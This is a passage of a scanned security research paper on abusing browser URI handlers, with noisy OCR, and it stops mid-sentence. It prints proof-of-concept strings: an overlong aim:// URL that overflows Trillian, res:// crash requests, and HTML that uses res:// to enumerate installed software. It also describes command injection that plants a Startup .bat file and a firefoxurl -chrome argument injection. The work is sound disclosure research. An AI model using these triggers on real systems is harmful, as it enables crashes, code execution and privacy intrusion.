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Chapter 1 — Universal Resource Indicators (URIs)

1. Overview

A Uniform Resource Identifier (URI), as defined by Wikipedia, is “... a compact
string of characters used to identify or name a resource. The main purpose of this
identification is to enable interaction with representations of the resource over a network,
typically the World Wide Web, using specific protocols.”

We all know the standard URIs and what they mean, http://, https://, ftp://, file:/l,
etc. This paper will demonstrate several more URIs, both documented and non-
documented, that are used by developers for specific interactions with their program;
however, when registered within the windows registry, also allow IE6/IE7 and other
browsers to interact with the programs as well.

2. Interaction with Browsers

In an apparent effort to provide feature-rich browsers, Microsoft and Mozilla have
allowed developers the ability to hook a URI into the browser’s set of known URI and
associate some action with that URI. An example that is commonly used, if not
commonly known of, is the rtsp:// URI. This associates the browser with some form of
streaming media, which can be accessed by appending a resource location to the rtsp://
URI.

Accessing a remote resource through a specific protocol such as rtsp://, https://,
ftp://, etc. is perhaps the most common reason a URI is created and registered with the
browsers, but the fact of the matter is that ANY developer can create and hook a URI to
a browser for ANY reason they so choose. It is clear that these developer-created URIs
seem to be undocumented, and further, may not be put through the same level of
scrutiny in the security world as they are relatively unknown. When combined with the
fact that they can be accessed and interacted with through the browser OR through
Cross Site Scripting (XSS) attacks this really opens up a new avenue for attack.
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Chapter 2 — Attack Foundations
1. Cross Site Scripting (XSS)

XSS is typically caused by a lack of adequate input filtering and/or improper
output encoding. XSS can allow an attacker to supply arbitrary client-side code
(JavaScript, VBScript, etc.) that will ultimately be rendered and executed within the end
user’'s web browser. When this client-side code is rendered within the users’ browser,
the attacker can gain access to the DOM existing within that browser.

XSS has shown itself to be a powerful attack, allowing attackers to steal various
pieces of sensitive information. XSS basically gives the attacker control over the victims’
browser, allowing the attacker to masquerade various requests as the victim. Although
the techniques to prevent XSS seem simple and easily implemented, developers are
finding that the completely eliminating XSS from their web applications is a difficult and
continuously evolving process. The power given to the attacker via XSS and the
prevalence of XSS in the “wild” make XSS a favorite choice of web application hackers.

For the purposes of this paper, what we must be aware of is the potential to
create an XSS attack that accesses the exposed URIs that a browser allows to be
accessed, further that this linkage will in effect allow an attacker to interact with
programs other than the browser on a victim’s system.
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Chapter 3 — URI Discovery

1. Overview

This chapter will walk the reader through several different URI discovery methods
that were used for the purpose of this paper, including internet resources and the ability
to discover what URIs are exposed through the Windows Registry.

2. IANA Registry®

RFC 4395 defines an IANA-maintained registry of permanent and provisional
URI Schemes. This registry is a good starting point for discovering URIs that are
supported; however this registry contains more in the way of common and historical
entries that one might expect would exist, such as telnet://. Of perhaps more interest is
a reference to the *retired index* of WWW Addressing Schemes?. This page and
several of the links it references contain a wealth of information on URI schemes, as it
was designed to capture URIs that had never been registered as well as those currently
maintained and registered.

3. DUH (Dump URL Handlers) For Windows

It was discovered that the windows registry actually maintains a list of URIs and
the actions they are registered for. To facilitate quick recovery of these URIs, Erik
Cabetas developed the DUH Tool® (see Appendix A for code). This tool will enumerate
the URIs exposed by the windows registry, and additionally the commands that are run
when these URIs are accessed. Screenshot 1 below provides an example of what was
discovered on my corporate laptop.

! http://www.iana.org/assignments/uri-schemes.html
2 http://www.w3.org/Addressing/schemes
® Developed by Erik Cabetas, extended by Billy Rios and Nathan McFeters
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Screenshot 1: DUH Output

= Command Prompt

C:“\Documents and Settings‘mcfetna“Desktoplcscript.exe //Nologo DUH.vbs
acrobat URL:Acrobat Protocol C:N\Program Files\Adobe\Reader\AcroRd32.exe su "¥1"
URL: AOL Instant Messen?er Protocol Rundl13Z.exe "C: \Program FilesN\TrillianNpluginsNaim.dll",
i="c:\program files\trillian\users\default\cache\pending_aim.ini
URL: CallTo Protocol rundl132.exe msconf.dll,CallToProtocolHandler /1
URL:File Protocol rundl 132. exe msconf.dll,CallToProtocolHandler il
RL:File Transfer Protocol rund1132 exe msconf dll,CallToProtocolHandler 1
URL : GAAIT-PE Protocol PE.exe 71
URL Gopher Protocol C \PROERA 1\MOZIL|"1\FIREFOX EXE E1
elp Center Pluggable Protocol /SystemRoot/\PCHEALTH\HELPCTR\ in rxes\HelpCtr exe -FromHCP -url "
URL Hello_Protocol "C:N\Program Files\Hello\Hello.exe" /
URL:HyperText Transfer Protocol C \PROGRA~1\MOZILL~1NFIREFO -url "xl"
URL HﬁperText Transfer Protocol with Privacy C:\PROGRA™ 1\MOZIL|"1\FIREFOX EXE -url "x1"
Protocol "C:NProgram Files\Outlook Express“\wab.exe" /ldap:x
URL MailTo Protocol C otus\notes\notes.exe Adefini x1
URL:mms Protocol Program Files\Windows Media Player\wmplayer.
URL:mmst Protocol "C:\Program Files\Windows Media Player>wmplayer.
URL :mmsu Protocol C:N\Program Files“\Windows Media Player\wmplayer.
URL msbd Protocol Program Files“Windows Media Player“wmplayer.
L:News Protocol ProgramFilesx\Out look Express“msimn. exe" Znewsurl:xl
URL NNTP Protocol ProgramFilesx\Out look Express“msimn.exe" “newsurl: 71
URL:Notes Protocol N\lotus\notes\notes.exe Adefini_x1
Picasa Command protocol \Program F1les\P1casaZ\P1casaZ exe" "x1"
URL:RLogin Protoceol rundl 13Z.exe url. ll,TelnetProtocolHandler #1
:RLogin Protocol /SystemRoot/\Explorer exe ~idlist,xI,xL
:SnapReporter Protocol C:N\Program Files\Paisley Consult1ng\SnapReporter2\SnapReporter Pre
:Snews rotocol "#ProgramFilesx\Out look Exvress\msxmn exe" Znewsurl:
Protocol C:NProgram Files\TortoiseSYN\bin\TortoiseProc.exe /command.repobrowser /pa

:SVN+SSH Protocol C:“\Program Files\TortoiseSVN\bin\TortoiseProc.exe “command:repobrowser /pa
:Telnet Protoceol rundl132.exe url.dll,TelnetProtocolHandler %1
: TN327@ Protocol rundl132.exe url.dll, TelnetProtocolHandler #1
:TSVN Protocol C:NProgram Files\TortoiseSYNN\bin~lortoiseProc.exe scommand:checkout ~surl:"
:Unreal Tournament Le 205 Protocol C UT2®B4\Sy5tem\UT2@@4 exe "x1"

r

RL:Unreal Tournament 28 otocol T2004\System\UT2004 . exe "x1
URL:Ventrilo Protocol c: PROGRA 1\Ventrllo\Ventrllo exe -lx1

The most important use of the DUH tool is to discover the underlying command
that will be run when accessing the URI.

4. DUH (Dump URL Handlers) For Linux

Similar to Microsoft Windows, Linux also uses URIs and certainly needs a place
to keep track of those URIs and the applications they are registered to. This is largely
dependent up on the Desktop/Windows Manager of your choice, but we have created
the DUHA4Linux Tool (see Appendix B for code) to enumerate the URIs exposed by
Gnome and KDE. Screenshot 2 below shows an example of discovered URIs on an
install of Linux Backtrack.

Ernst & Young’s Advanced Security Center — URI Use and Abuse
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Screenshot 2: DUH4Linux Output

punatarfwebh:~§ . /DUH.3h gnome

gnomwe-help
sound-juicer
purple-url-handler "%s
firefo

gnomwe-help
purple-url-handler *
purple-url-handler *
totem

totem

gnomwe-help
gnomemeseting —
purple-url-handler
purple-url-handler

note tombooy preEn-note

totem
purple-url-handler
gnomemeeting —o

volution

totem

5. DUH (Dump URL Handlers) For Mac

Of course Mac can't be left out of the mix and also uses URIs. The folks over at
apple are even so kind as to give us an API for accessing these URIs. Having little
experience coding on a Mac environment in our group, we worked with Carl Lindberg,
creator of RCDefaultApp?, to help us create DUH4Mac (see Appendix C for code).
Screenshot 3 below shows an example of discovered URIs on an install of a fully
patched Mac OS X Leopard system.

* Much thanks to Carl Lindberg for the help, you can find some of his other useful apps here:
http://www.rubicode.com/Software/
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Screenshot 3: DUH4Mac Output

® Terminal

Shell Edit View Window Help

@ee®

UEL Mame
whC

ftp

im
applescript
acquizitionsearch
rtzp

ichat

zsh

message

afp

magnet
feeds
Lomt.ombame
gopher

apconfig

wiawn Load
nsl_neighborhood
xmpp

zmb

apupdate

aim

photo

VIEgr
¥x-dictionary
acquisition
telnet

help
addresshook.
matilto

pcast
feedsearch
X—Man-page
directoryconnection
adiumxtra
webcal
¥-nz1_neighborhood
feed

acrobat

icq

goog le—updater
daap

amnifocus

itpc

jabber

itms

lTerminal

nathan-mcfeterss-machook :URI Tests nated . /DUH4Mac

App (Current Path)
Screen Sharing (fSystem/Library/CoreServices/Screen Sharing.opp’

com.intuit.ctg.tpshelpscreen TurboTox 2887 (Aépplicotions/TurboTax Deluxe 2887/TurboTax ZAET.app)
com.intuit.cty.tpsformaddress TurboTax 2887 (f4pplicotions /TurboTax Deluxe 2887 /TurboTax Z6ET.app)

Internet Explorer (fdpplications/Internet Explorer.app)
iChat {/dpplicotions/iChat..app’

Script Editor (AApplicotions/dppleScript/Script Editor.opp)
Acquisition (fUsers/nate/Documentssdzureus Downloods Acquisition.aopp)
QuickTime Plaver {/Applicotions/QuickTime Ployer.app)

iChat {/applicotions/iChat ..app’

Terminal {/Applicotions/Utilities/Terminal.app}

Mail {/Applications/Mail.app)

Finder {/System/Library/CoreServices/Finder.app’

LimeWire {/Applicotions/LimeWire/LimeWire.app)

Safari (/4pplicotions/Safari.app)

TomTom HOME (/Applicaotions TomTom HOME.opp)

Firefox {/lsers/nate/Firefox.opp)

com.intuit.ctg.tpsformfieldhelp TurboTax 2887 (/Applicotions/TurboTox Deluxe ZBA7/TurboTax 2887.app)

AirPort Utility (Aépplications/ULilities/AirPort Utility.app)

Verif iedbownloodAgent (/Swstem/Librory/CoreServices /Yerif iedDown loadigent .oy
Finder {/Swstem/Library/CoreServices/Finder.opp)

Adium {AhpplicotionsAdium.app)

Finder {/System/Library/CoreServices/Finder.opp)

AirPort Utility {Adpplications/Utilities/AirPort Utility.opp)

Adium {AhpplicotionsAdium.app )

iPhoto (Adpplicotions/iPhoto.opp)

Adium {Ahpplications/Adium.app )

Dictionary {/Applicationz/Dictionary.opp)

Acguisition (/Users/note/Documents/dzureus Downloods dcquisition.app)
Terminal {/4pplications/Utilities/Terminal .app)

Help Yiewer (/System/Library/CoreServices/Help VYiewer.app)

Address Book {/Applicotions/Address Book.app)

Mail {‘Applications/Mail.app)

iTunes {AhpplicationsdiTunes.app)

Sofari {/4pplications/Safari.app)

Terminal {/Applicotions/Utilities/Terminal .app’

Directory Utility (A4pplicotions/Utilities/Directory Utility.app)

Adium (AhpplicotionsAdium.app

ital {/applications/ical.app)

Finder (/System/Library/CoreServices/Finder.app)

Mail {/Applications/Moil.app)

Adobe Reader {/Applicotions/Adobe Reader S/Adobe Reader.oppd

Adium (AhpplicotionsAdium.app

Google Updoter (/Librory/Google/Google Updater/Google Updater.app)

iTunes (AhpplicationssiTunes . app)

OmniFocus (Alsers/nate/Documents/dzureus Downloads OnniFocus .app)

iTunes (/hpplications/iTunes.app)
Adium (Ahpplicotions/Adium.app’
iTunes (/hpplications/iTunes.app)

6. Other Links

There are several other great links on this subject which we have discovered,

most notable among them are those listed in our references section.
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Chapter 4 — Attacking URIs

1. Overview

This chapter will walk the reader through a couple of attack scenarios that our
research has uncovered. This is obviously not an exhaustive analysis of all attack
vectors, in fact, the hope is that others will take this research further and discover more
avenues of attack.

2. Types of Attacks

What is important to note here is that these URIs link us to commands and
programs which have been written by developers and are subject to all of the same code
flaws that any other system might be, what is most interesting is that the usage of URIs
links us to that back end application through a browser, making Cross Site Scripting
attacks a possible trigger of any flaws we may discover. We present in this paper three
examples of what we've discovered, there is certain to be more, and the key to keep in
mind is that these CAN be delivered through XSS.

3. Stack Overflow in Trillian’s aim.dll through the aim:// URI

The Trillian application is a tool that allows users to chat across multiple
protocols, such as AIM, IRC, ICQ, Yahoo!, and MSN. When Trillian is installed, the
aim:// URI will be registered in the Windows Registry and associated with the command
‘Rundll32.exe “C:\Program Files\Trillian\plugins\aim.dll”, aim_util_urlHandler url="%1"
ini="c:\program files\trillian\users\default\cache\pending_aim.ini”’. As you can see,
calling the aim:// protocol will spawn a Rundll32.exe process which will load aim.dlIl with
the specified options. The value that is put into aim_util_urlHandler url is controlled by
the user through the URI, such as aim://MyURL. This value is later copied without
bounds checking and an attacker can use this to cause a stack overflow exception.

Accessing the following URL from IE6, IE7, or Firefox will trigger a stack
overflow:

aim:///#1111111/11111111111211121111121211211111121112112112112111111111
11111111111122222222222222222222222222222222222222222222222222222
22222222333333333333333333333333333333333333333333333333333333333
333344444444444444844844844844844844844444844844844844844844444444444444444444
55555555555555555555555555555555555555555555555555555555555556666
666AAAABBBB666666666666666666666666666666666666666666666666666666
66666667777 7TTTTTTTT7T7I7I7I777TI777777777777777777777777777777777
77788888888888888888888888888888888888888888888888888888888888889
99999999999999999999999999999999999999999999999999999999999900000
00000000000000000000000000000000000000000000000000000000

Screenshot 4 below illustrates the stack overflow being captured using OllyDbg as a
Just-in-time Debugger and Screenshot 5 illustrates that we have control over SE handler
and Pointer to next SEH.

Ernst & Young's Advanced Security Center — URI Use and Abuse
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Screenshot 4: The Stack Overflow is Caught by OllyDbg (must be set to be just-in-
time debugger)

OllyDbg - Rundll32.exe - [CPU - main thread, module aim]
@ File  Wew Debug Plugins Opfions Window Help

IJJJ wH] i ¥ 1 Y] ) LIE|M|T|W/H|C|/]!

Saly MOU DWORD FTR DS:LEDI], EOX

S3C7 B4 ADD EDI, 4
S3E9 B1 SUE ECH, 1
~74 GF

JE SHORT aim. 27EE9FOE
EA FFFEFEYE
SEEs

3 -
IFESIFEH
27asFeD
IFESIFEF
ITEE9FTY

MOW EQH,. YEFEFEFF
MOY EAX,.DWORD PTR DS5:[CESI]

SYES9FYE| @308 AHODO ED, ERARA

IFYES9FVE| 83Fa FF #OF ERX,FFFFFFFF

IVES9FFE| 23C2 #OR ERX,EDHA

27YE29F7Y0l 2Ble mnoy E0x, OWORD PTR DS: [ESI]
SYES9FVE| 2308 b4 AOD EST, 4

IFASIF32

i | el

A BeE1a1a1 TEST EHH EIEIEIEE
24 [

Screenshot 5: Control of Pointer to Next SHE Record and SE Handler
[ s e s g e e Em |

HEAYFF=4| 35303535

AEAAYFF3S| 35353535

ABAYFF2C| 35353535

AEAYFF4Ra| 35353535

HEATFF44| 35353535

HAEETFF42| 36363635

ABATFF4C| 36363636

AEE7FFSR| 41414141 | Pointer to next SEH record
HEETFFE4| d42424242| SE handler
HEAATFFSE| 36363636

AEATFFSC| 36363636

HEAYFFER| 36363636

HEATFFEd| 36363636

GBOCEFSE) 636363

What's most interesting about this example is that it can be leveraged through an XSS
exposure. Quite simply one could create JavaScript code that would simply spawn a
new window accessing the URI that causes the buffer overflow, in fact, Appendix D
provides this code.

4. Command Injection in Call to Trillian’s aim.dll

The aim:// URI is a vulnerable to a command injection through an XSS exposure.
The command that it is associated with takes two parameters, “URL” (which the attacker
controls), and “ini”, which is set by default to C:\Program
Files\Trillian\users\default\cache\pending_aim.ini.

Ernst & Young's Advanced Security Center — URI Use and Abuse
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An attacker can inject a “ to close off the “URI” argument and can then inject a
NEW “ini” parameter. The “ini” parameter is used by Trillian to specify a file location to
write startup data to... this startup data INCLUDES the full aim:// URL that we send.
Since we can control some of the content that is written to the file, and we can control
the location the file writes to, we can write arbitrary content to the C:\Documents and
Settings\All Users\Start Menu\Programs\Startup folder AND we can write that content as
a .bat file. What this does for us as an attacker is it gives us the ability to create a batch
script that will run every time this machine is installed. Here's a screenshot of the file as
it is written to the system:

Screenshot 6: The Pwnd.bat File Has Been Written to the Startup Folder

DEEEs
,i;

@ Back - s I? j.__\]Search l Folders

Address | CiDocuments and Settingsial UsersiStart MenuiPrograms|Startup bl | G0

o - e
[ - " "J:H — - deskkop.ini Y prnd bak
| File and Folder Tasks = « '3 Configuration Settings @é} MS-D05 Batch File
. ¢ LKE 1 KB

I
‘ J Make a new Folder

] tP'::IEheEhis Falder ko %
When pwnd.bat is executed upon restart, its contents will be executed. For an example
of the exploit to run this, see Appendix E.

Other Places

I Programs

£} My Documents
[ Shared Docurnents

See the iepwnstrillian.avi video in the folder for this presentation for a demo.

5. Bug in Microsoft's IEFrame.dll through res:// URI

The res:// URI is a predefined pluggable protocol in Microsoft that allows
resources like images, html, xsl, etc. to be pulled from DLLs or executables. The way
you would commonly access resources through the res:// protocol would be of the form:

res:/lieframe.dll/info_48.png

One place you will see this is in Internet Explorer’s default error pages as it pulls in the
images for those pages using res://. See Screenshot 7 below for an example.
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Screenshot 7: IE7 Using res://

[Olnternet Explorer cannot display the webpage

.

Properties .: E|

Gereral |

!_ info_48.png

|

other well

Protocal: Linknown Protocol

Type: File

-'_""-ddl'ESSZ res./fieframe dllirfo_48 png

{URL)

Size: 6993 bvtes

Oimensions: 47 x 48 piels

Created: 5/28/2007

Modified: 5/28/2007

0],% l [ Cancel

Accessing resources through the res:// URI can also be done using a numerical format,
such as res://c:\windows\explorer.exe/#2/#167. When the fore mentioned resource URI
is entered into an IE7 browser running on Windows XP (SP2), the following image is
displayed.
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Screenshot 8: IE7 Loading a Resource from a Local Binary res://

&

I..-H.". =

|@ | T 8] resfowindows\explorer exe/#2[# 167 M| ey | el
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Using a method similar to that used for the aim.dll, a malicious attacker can craft a
request to a resource URI that will cause IE 7 to crash. This issue was reported to
Microsoft and has been patched in MS07-035 (Shoutz to Dave at the MSRC). This
particular vulnerability was caused by a lack of validation of the “sType” passed which is
passed from IE7 to various places on the users system (including a Windows API).
Ultimately, the sType value is passed to a function which is expecting an unsigned short
integer. The screenshot below shows the users system when making a request for a
resource URI with a sType equal to 65535.

The exact request in the screenshot below is: Res://c:\windows\explorer.exe/#65535/#167
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Screenshot 9: IE7 Loading a Resource Request with sType Equal to 65535
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The screenshots below show the results of a URI request containing a sType greater

than 65535. Like any self-respecting researcher, my JIT debugger fires just as IE7
crashes!

The exact request in the screenshot below is:

Res://c:\windows\explorer.exe/#65536 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIHL
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Screenshot 10: IE7 Loading a Resource Request with an sType Greater than 65535
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Screenshot 11: IE7 Loading a Resource Request with an sType Greater than 65535

|
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S| @17IiERAC || Bad41884] | ienplore. 884106841
A17IERES || BE4168841 | ienplore. 884186841
A17IEAE4 || Ba4168841 | ienplore. 38410841
—| @171ERES| | BR4168841 | ienplore. B8410841
Ai7IEREC| | Be416841 | ienplore. BA410841
A1IVIEACE| | BE4168841 | ienplore. BA410841
B17IEACH || Ba416084] | ierplore. 884106841
A1I7IEACS| | 804168841 | iekplore. 8410841
A17IEACC| | 88418841 | ierplore. 884106841
A1I7IEADE | BE4168841 | ienplore. 884106841
A1I7IEAD4 || Ba4168841 | ienplore. 38410841
A17IERDS| | Be4168841 | ienplore. B8410841
GiIFIEADC) | Be416841 | ienplore. BA410841
A17IERES || BB4168841 | ienplore. BA410EA41
B17IERE4 || 924160841 | ierplore. 884106841
A17IERES || 80418841 | iekplore. 8410841
A17IEREC| | BB418841 | ierplore. 884106841
A1I7IEAFE || BE4168841 | ienplore. 884106841
AI7IEAE4 || Ba4168841 | ienplore. A8410841
A1I7IEAFS|] BB4168841 | ienplore. 88410841

| | Paused

Keep in mind that this request can be called remotely, or through the use of XSS or
CSRF.

NOTE — These examples use the explorer.exe, but any exe or dll can be used to initiate
the overflow (ex. Res://ieframe.dll/#65536AAAAAAAAAAAAAAAAAAAAA/HL)

Ernst & Young's Advanced Security Center — URI Use and Abuse
17



6. Local Software Enumeration Through res:// URI

In addition to overflowing the functions that handle resource (res://) requests, it is
also possible to use this URI for other nefarious activity. One example of how a URI
can be abused is presented below.

IE7 has several features to prevent malicious HTML from collecting personal
information from a user. Beginning with IE7, three new feature control keys have been
implemented to prevent Internet and intranet HTML from loading images, objects, and
scripts from the user's local file system
(http://msdn.microsoft.com/library/default.asp?url=/workshop/essentials/whatsnew/whats
new_70 sec.asp). These features are "opt-in" features, forcing a process to be explicitly
added to the appropriate control key. The two exceptions for the control keys are:

1.) The source file containing the item to load was itself loaded from the local file
system

2.) The source file originates from the Trusted Sites Zone

Due to the new feature control keys implemented in IE7, IE7 will block attempted
local file system access via script.src and the img.src objects. Typically, local files are
loaded into image, object, or script objects by setting the "src" property to a file location
via the "File://" URI. IE7 specifically blocks attempted access to the local file system via
the "File://" URI, however it still allows access via the Resource (Res://) URI, even if the
HTML does not meet the exception criteria described above.

Using the Resource URI, it is possible to set the img.src attribute to a resource
within an executable or dll on the user’s local file system. Many executables (and some
dlls) have bitmaps (and other images) embedded into the executable. These images
can be loaded into an image object by setting the "src" property equal to the resource
inside of an executable or dll on the user’s local file system. Loading of resources on the
local file system is possible, even if the user is running IE7 with the highest security
settings and has scripting disabled. The following HTML code demonstrates the loading
of a resource from the user’s local file system with IE7 set at the highest security
settings.

Sample HTML Code to Load Local Resources Initiated from Internet Site
<html>

<body>

<noscript>

<img src = "res:/lc:\\windows\\explorer.exe/#2/#167" >

</noscript>

</body>

</html>

The screenshot below shows the local resource being loaded from an Internet Site.
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Screenshot 12: Local Resources Being Loaded from an Internet Site
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This type of vulnerability can easily be exploited through the means of Cross-Site
Scripting (persistent or reflected) or if the user simply visits (or is redirected to) a site
with this HTML code. Once again, users of IE7 will be vulnerable, even if their browser
is set to enforce the highest security settings.

Using this vulnerability, an attacker could build a listing of known installation
paths and resources associated with various pieces of software. By loading the attacker
built list of resources into an img object, the attacker can enumerate the various pieces
of software installed on the user’s local file system. In most cases, the attacker can
even determine the specific versions of software installed on the user’s local file system.
Once an attacker has enumerated the software installed on the user’s machine, they can
then target their exploitation attempts to specific vulnerabilities associated with those
pieces of software installed on the user’s machine.

Enumeration of software installed on a user's machine could also create a
privacy issue. Unscrupulous vendors could scan a user's machine to determine whether
a user has a competitor's software, software related to a health related condition (diet
tracking software, diabetes testing software...etc), or other sensitive software installed.

The screenshot below shows a simple HTML page that enumerates various
pieces of software on the users local file system. The actual HTML used in this example

Ernst & Young's Advanced Security Center — URI Use and Abuse
19



is provided in Appendix F. In a real world example, an attacker could initiate this type of
functionality through XSS or URL redirection to achieve the same results.

Screenshot 13: Software Enumerated From the Local File System
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Local Software Enumeration

The Following Software was Discovered on your Computer:

10pht crack 5

Adobe acrobat 7

Nero 6E

Amreus

Cain

Citrix

PGP Desktop

Google Toolbar
Macromedia Flash MX
MSN Messenger

Live Meeting 7

Excel 2003

The Office 2003 Suite
Visual Studio 2003
Microsoft Movie Malcer
Picasal

Quicktime

Real VNC 4

Oleview

SecureCRT

Symantec Anti Virus
VMware

Winamp

Windows Media Player

This issue has also been reported to the Microsoft Security Response Team.
Combined with the techniques outlined in the “Attacking URIS” section, this software
enumeration vulnerability could be an excellent way to discover vulnerable software with
registered URI handlers!
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7. Data URI - Firefox

Before we start bashing IE7 for its support of the Resource Protocol, Firefox had
a similar issue (which is now patched...kinda). You can read about the Firefox
Resource flaws on RSnake'’s site at: http://ha.ckers.org/blog/20070516/read-firefox-
settings-poc/. Although Nate, Raghav Dube, and | (BK) had discovered this “feature”
sometime in 2006, we missed the disclosure boat, so shoutz go to shutdown and Boris
Zbarsky for reporting the vulnerability to Mozilla! Although Mozilla may have patched
some of the Resource URI stuff, a few more Firefox specific URIs remain open for
abuse. One of my favorites is the data URI.

The data URI allows for an attacker to basically embed files directly into a URL.
For example, the horrendous URL below actually renders (when requested by Firefox)
into the image we have all come to know and love.

data:image/gif;base64,ROIGODIhRSWAgANUAAJOK3cTN7V6tXbrF6klilyKm25FRsmFIzzE
RzZWHWK1Y2BRZAgDYZcaGJ6z6+0zKiQG2yD0pqq32uArJZCNoye3DpZwwVNg+/MIN
hGJIBryjpZjYGU2ZOKrBdJj7G953uQ19u4EBZIzaaYsDZprb8oCJZ1f501kYaz2qaqsONk
S0e057mnS4akpLKIKVOMOQVY xSx32Ato4EFfXTOF7SRY 04KVyQk6gK6giKGv4nuOz
3ePubigxKWiwl18tB5ivGSf6CH5BAAAAAAALAAAAABLACAAAAL/QIMQQMwY D8hk5
MAOEmMUEo0XRakVWulmplSiQ0k2Bm5mnNYotHZGPNbijF4250Pq1Dod30wd1eK+NC
V1doag0QhwmHimxvTU5ecpFyX4WGipd+TGRZXmqlCaAfCaKgh31hcl6OXpR7IhCgo7
GJIpm6PWUtrsKkMbGye/vxsfpLS1fm6oya6WoR+9z72itWIRVp68FBQA2drcJ8+zIxCGfe
VsiqG+JzosAgjbwdLj1EJroL4UNSMO0/D40BhIAbKMQTNIGWYIoFROHjteGbADYuYsgEJ
6wcbaeGBp2A0ABGh16aNNHA4YFCRQFEiz4bJjLYbGIlucSnLUIEHALc4cBh02l1i/z9xYP
nyaKGHh6NIPXSwIWENz40qs51Y CcwXtGfABNrcGSEnggJgdwr8BgrZGAgfphrwleHogL
dwl9TwALaAU5t4oarcNpCbtopbcYD1kJPFObA44EmzISHBQWMubHIAG6BYZbhl640Qs
cPpXZ47UKCgSB0oAXqcF6B7NKWFA5h0I4EmMQOMOAKQRTe/jQ8Nay 7wBwWXXsQUWK
C8RQM60ZVwPzBihU3PdfQMcKAgQ4dHBAWWAIUD+MTMEW4IcGABgNMOgJwYcHAg
N/w4bYgleKoCAzikbJ4XviBhQc71GVADXHOAMMMHRTWXmHAmMYBBCWBNKAIJOVSI
jHoqtPcefPCVgP8BB8EVQAIJJIri2wgNJeaDAf2AZMEJSFrzQwluFDeBAChOkZhcJCzD
WAUYHfKDNDBpyCF8KC1zWW3gLDGDCBTcENWAKIIDAQgGRUTWABIjFOUBmMDJaR
QAI3FLcBBLz8F2ZFJvBnpmwhlAndZAB42uSIKUg5QpQIAgGBDcAb+OUCNDDwognEc
+DSPej7E8CA8KBIAgHkDhImkZe/dI+QKIJS0ZACcKhBBCCIOM9IYNuy3I3QApYMDAD)
wUOBNZ8zhGQQcxvNDahpXpcF6Gw2FAN5zvOYBBk/4psOF7A4Q6QAcvOGDqCB3AV
SOTdIKFWAMLHTBKPhbEYMFkvwOgAQx/ejD/4gS9vcfDsQGs+ACzwDX7glIDOGADDe
VJ610AhAprglOUUXDRPLCo9cILFuyQ57mSecDAIPi+xcACDrz1AAgK10vaAwq4RZcEL
sCgQ1KFpbbAiIDsUbPBPflyiVowvjAAAUjgYYEHEBUzAowiumTBBiW+hsHGUNj6AoNBI|
eCojtshcBMHI5IwQQKGMJADLdAc4040GFoTdAQ3U/NhNBXThwsMACJTDAgAiIipJaUAYM
yZkBIANdQAbQgWACArAoDrONMEa6/NwCJIM7AGL1zWVJIOENpVEK+V08xKgcjmCJdn
kBEIDbw+fhWpAXVFQdRItZngCV1ITc8PUXVHgF5plgsztiBQAMBvCUUowaRAXMNSLI
A1Qniu8yDFbgAEMQRLBrrFXteFEnwQwekU5DDCx2wFDwpOyARXxxG6fBKTLM{38jvrfk
GUPgUaqJD977280EEOXCS0SCaP5JHEOQyYJ38xLV7GKADfQA75BIBQIOEAHSIGOU3
ivVC1IAWXKWYY5X0MN/CImFKDogNg14ECSKa8MywHCLQAXBgnolAX/KMY4W9g+BS
8FOBYrACGQOogkQDAQWIpiHMaiiFaio4CIWgAY S/iB/m9CCIHYYQTxlwodHPMIEIUHC
XxP1QEpvQ4RK3qAU7DOGEK2AFDqO4CIfEIRIe5KIgggAAOWY%3D%3D
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Screenshot 14: Image from the Data URI
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The example given above merely demonstrates that the Data URI can be used to
serve up a simple gif file however; the Data URI can be used for more sinister purposes,
such as serving up executables and other malicious content. The Data URI offers the
attacker the following advantages:

1.) The attacker has full control of the content that is served by the Data URI

2.) The Data URI can be encoded to mask the true contents of the payload

3.) The attacker no longer has to host their malicious content on a server

4.) The Data URI doesn’t contain traditionally dangerous strings (ex. JavaScript:)

5.) The Data URI is enabled in Firefox browsers by default

As the Firefox browser gains popularity, we should expect to see more and more
payloads use the Data URI to store the malicious content. Phisher’s will no longer have
to worry about their web servers being brought down when they can serve their victims a
hyperlink to a Data URI that presents an exact copy of your favorite bank or credit union.
Appendix G shows a Data URI that reproduces a well known site, all stored within an
encoded URL!

***Jpdate — PDP over at ghucitizen.org also has a nice exploit of this issue.

Screenshot 15: An Entire Webpage Stored Within a URL!
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8. Cross-Browser Scripting — IE Pwns Firefox and NN9

Firefox and Netscape Navigator 9 register URIs to be “compliant with Windows
Vista”. These URIs (“firefoxurl” and “navigatorurl” respectively) when called from IE 7
will accept user supplied double-quote characters and pass the string to the application
to be run by the URL handler without sanitization. This has been discovered to be a
Microsoft issue with shell32.dll. The interaction works as such, a URI like our attack
vector is encountered by IE7 which passes it down to shell execute with the intention of
running the associated application with the supplied input. Shell32.dll will then pass the
URI back to IE7 to try to determine if the URI is valid or not. If it is not, IE 7 will say so,
and shell32.dll will try to manipulate the URI in an effort to continue running the
application. Our attack vector confuses shell32.dll into running arbitrary commands of
our specification.

This is not vulnerable on Windows Vista, as the issue in shell32.dll was already
patched there, and is also not vulnerable if the user is using IE6, as it will not inform
shell32.dll that the URI is mangled.

The following is the command that is run when a user requests the firefoxurl:// as an
example (Netscape Navigator is roughly the same):
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=  C:\PROGRA~1\MOZILL~1\FIREFOX.EXE -url "%1" —requestPending

From the URL, we can control what is passed into the command at the %21 location.
If we supply a double-quote and a space character, then we can inject our own
parameter, in this case the optimal solution would be to inject the —chrome argument.
From chrome, we can create javascript that will allow us to spawn a new command.

Dependent upon the setup of a user’s system, this may be vulnerable in more URIs
than just firefoxurl and navigatorurl. On a test machine, this was also vulnerable through
the ftp URI. The code used to exploit this issue is illustrated in Appendix H.

See the iepwnsfire.avi video in the folder for this presentation for a demo.

9. Command Injection in Firefox and ALL Gecko Based
Browsers

Gecko based browsers do not properly sanitize the values passed to several
URIs and this can lead to a command injection thru XSS. This occurs because special
characters in the request confuse the browser into passing control of the URL off to the
associated File Handlers within the Windows Registry, as opposed to the proper URL
Handler. Because we can control the extension type at the end of our request, it is
possible to force consumption of the URL to an executable type file handler, such as that
for .exe or .bat files.

Due to difference in the way Gecko based browsers and Windows handle some
special characters, it is possible to control what programs can be executed when using
an executable type extension. Our PoC code is innocuous and simply kicks off the
calc.exe program, but attackers could be much more nefarious.

Versions of Firefox < 2.0.0.6 are vulnerable, as is current versions of Mozilla, Sea
Monkey, Thunderbird (was patched), Nvu, Netscape Navigator 9, and others. Appendix
